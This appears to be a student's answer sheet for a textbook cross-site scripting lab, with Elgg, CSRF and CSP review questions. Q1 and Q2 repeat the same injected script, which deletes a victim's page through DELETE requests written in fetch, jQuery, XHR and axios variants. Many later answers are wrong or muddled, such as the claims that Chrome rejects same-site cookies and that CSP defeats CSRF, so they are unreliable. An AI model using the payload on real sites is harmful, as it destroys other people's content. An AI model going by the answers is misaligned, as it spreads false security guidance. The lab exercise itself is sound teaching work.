// Answers for xss labs...

## Q1.Please write a malicious JavaScript program, which can delete a page owned by the vic- tim if the program is injected into one of the victim’s page from www.example.com.

Ans => {

```
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>



<script>
   let url = "http://www.example.com/delete.php"
   fetch(url + "?pageid=" + 5, {
      method: "DELETE"
   }).then(res => res.text()).then(data => {
      console.log(data)
   })

   // OR

   // If you're gonna use this code below. Be sure to include <script
src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"/>

   $.ajax({
      type: "DELETE",
      url: "http://www.example.com/delete.php" + "?pageid=" + 5,
      success: (res)=>{
         console.log(res)
      }
   });

   // OR

   var xhr = new XMLHttpRequest()
   xhr.open("DELETE", "http://www.example.com/delete.php" + "?pageid=" + 5, true)
   xhr.onreadystatechange = (e)=>{
      console.log(this)
   }
   xhr.send()

   // OR
   // Install axios using npm => {npm i axios / npm install axios}This can only be accessable by
downloading nodejs.

   const axios = require('axios')
   axios.delete( "http://www.example.com/delete.php" + "?pageid=" + 5).then(res => {
      console.log(res)
   })

</script>

};
```

## Q2.Please write a malicious JavaScript program, which can delete a page owned by the vic- tim if the program is injected into one of the victim’s page from www.example.com.

Ans => {

```
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>



<script>
   let url = "http://www.example.com/delete.php"
   fetch(url + "?pageid=" + 5, {
      method: "DELETE"
   }).then(res => res.text()).then(data => {
      console.log(data)
   })

   // OR

   // If you're gonna use this code below. Be sure to include <script
src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"/>

   $.ajax({
      type: "DELETE",
      url: "http://www.example.com/delete.php" + "?pageid=" + 5,
      success: (res)=>{
         console.log(res)
      }
   });
   // OR


   var xhr = new XMLHttpRequest()

   xhr.open("DELETE", "http://www.example.com/delete.php" + "?pageid=" + 5, true)

   xhr.onreadystatechange = (e)=>{

      console.log(this)

   }

   xhr.send()


   // OR

   // Install axios using npm => {npm i axios / npm install axios}This can only be accessable by downloading nodejs.


   const axios = require('axios')

   axios.delete( "http://www.example.com/delete.php" + "?pageid=" + 5).then(res => {

      console.log(res)

   })


</script>


};
```

## Q3. In Listing C.2 of the book (C is the chapter number of the XSS chapter; its actual value depends on which version of the book you are using), we added a check before sending the Ajax request to modify Samy's own profile. What is the main purpose of this check? If we do not add this check, can the attack be successful? How come we do not have such a check in the add-friend attack (Listing C.1)?

Ans => {

Although your can remove it? But it is very essential for it to be there. The reason is if you send a request without the check, the attacker can add him self as a friend... Yes the program can still be executable.

}

## Q4.To defeat XSS attacks, a developer decides to implement filtering on the browser side. Basically, the developer plans to add JavaScript code on each page, so before data are sent to the server, it filters out any JavaScript code contained inside the data. Let’s assume that the filtering logic can be made perfect. Can this approach prevent XSS attacks?

Ans => {

Nearly, Yes but that's not a very good idea. Siince the crux of Xss attack is embedding malicious javaascript code on the victim's browser. Preventing any other javascript from being uploaded.

}

## Q5. What are the differences between XSS and CSRF attacks?

Ans => {

# -u Differences

# CSRF - it stands for Cross-Site-Request Forgery - While - # XSS - it stands for Cross-Site-Scripting.

# CSRF - javascript is not requiired - while - # XSS javascript is required.

# CSRF - The malicious code is stored iin thiired party sites - while - # XSS - The site accepts thhe maliciious code.

}

# CSRF - The site taht is completelly protected from XSS attack type is still vonerable to CSRF attacks - while - # XSS The site is vonerable to XSS attacks and also vonerable to CSRF attacks.

# CSRF - Is less harmmful as compared - whiile - # XSS is more harmful as compared.

}

## Q6. Can the secret token countermeasure be used to defeat XSS attacks?

Ans => {

No, Since the stored javascript can doe anything that the victim's page can normally do, It can easily access the token and send a request to the server.

}

## Q7. Can the same-site cookie countermeasure for CSRF attacks be used to defeat XSS at- tacks?

Ans => {

No, Example from Chrome. Chrome doesn't accept same-site-cookie to be stored. chrome explane's same-site -cookie as a way of allowing server to mitigate the risk of CSRF and information leakage attacks.

}

## Q8. To filter out JavaScript code from user input, can we just look for script tags, and remove them?

Ans => {

No. script tags are not the only way to embed JS. Many attributes of HTML tags also can add JS code.

}

## Q9. If you can modify browser’s behavior, what would you add to browser, so you can help reduce the risks of XSS attacks?

Ans => {

My way is by Encoding everything sent from the page to ensure that no code is transmitted to server.

}

## Q10. There are two typical ways for a program to produce a copy of itself. One way is to get a copy of itself from outside, such as from the underlying system (e.g., files, DOM nodes) and from the network. Another way is not to use any help from outside, but instead generate a copy of itself entirely from the code. There is a name for this approach: it is called a quine program, which, according to Wikipedia, “is a non-empty computer program which takes no input and produces a copy of its own source code as its only output. The standard terms for these programs in the computability theory and com- puter science literature are self-replicating programs, self-reproducing programs, and self-copying programs.” The self-replicating JavaScript program shown in Listing 10.3 is not a quine, because it uses document.getElementById() to take an input from the underlying system.

Please write a quine program, and put it in a user’s profile in Elgg. When anybody visits this profile, the code will be executed, and it prints out a copy of itself in an alert win- dow. The Wikipedia site has examples of quine programs in a variety of programming languages.

If you really want to challenge yourself, please rewrite the code in Listing 10.3, so it is a quine program, and it can do what exactly the code in Listing 10.3 can do, i.e., adding a statement and a copy of the worm to the victim’s profile.

Ans => ? I don't really understand. : i beleive i can do it.

## Q11. . The fundamental cause of XSS vulnerabilities is that HTML allows JavaScript code to be mixed with data. From the security perspective, mixing code with data is very dan- gerous. XSS gives us an example. Please provide two other examples that can be used to demonstrate that mixing code with data is bad for security.

Ans => {

The buffer overflow attack,

The shell Shock attack.

Sql injection,

open input field with not token. e.g. // This input field is vonerable. <input type="text" auto-complete="off" id="..."/>

}

## Q12. Why is the CSP (Content Security Policy) effective in defeating the Cross-Site Scripting attack? What is the downside of this approachWhy is the CSP (Content Security Policy) effective in defeating the Cross-Site Scripting attack? What is the downside of this approach

Ans => {

The application is really vonerable!.

CSP Doesn't kill down XSS-type vonerabilities, but blocks it's execution. An attacker trying to exploit the vulnerability will try to bypass the security mechanism and find a way to load malicious script that works with the CSP.

}

## Q13. Can CSP (Content Security Policy) be used to defeat CSRF attacks? Why or why not?

Ans => {

Yes. Cuz it can prevent content injection attacks.

}

## Q14. The following PHP code returns a web page. It also sets the CSP (Content Security Pol-
icy) for the JavaScript code running inside the page. Which JavaScript code is allowed
to execute inside this page.

Ans => {

```
<script type="text/javascript" nonce="1rA2345">
...JS code...
</script>
```

Why. because the php code has a self, which accept code inside the websit. e.g. src="script.js" and it has a nonce.

}